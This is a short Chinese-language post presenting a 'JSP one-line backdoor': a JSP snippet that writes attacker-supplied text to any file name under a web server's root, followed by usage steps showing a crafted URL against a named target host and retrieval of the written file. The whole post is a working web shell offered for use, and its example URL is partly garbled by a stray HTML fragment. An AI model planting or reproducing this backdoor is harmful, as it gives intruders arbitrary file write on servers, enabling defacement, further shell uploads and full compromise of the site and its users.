JSP一句话后门

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>


使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://.whitehouse../1.jsp?f=1.txt&t=HelloWorld

然后:http://.whitehouse../1.txt 就出来了 内容为 HelloWorld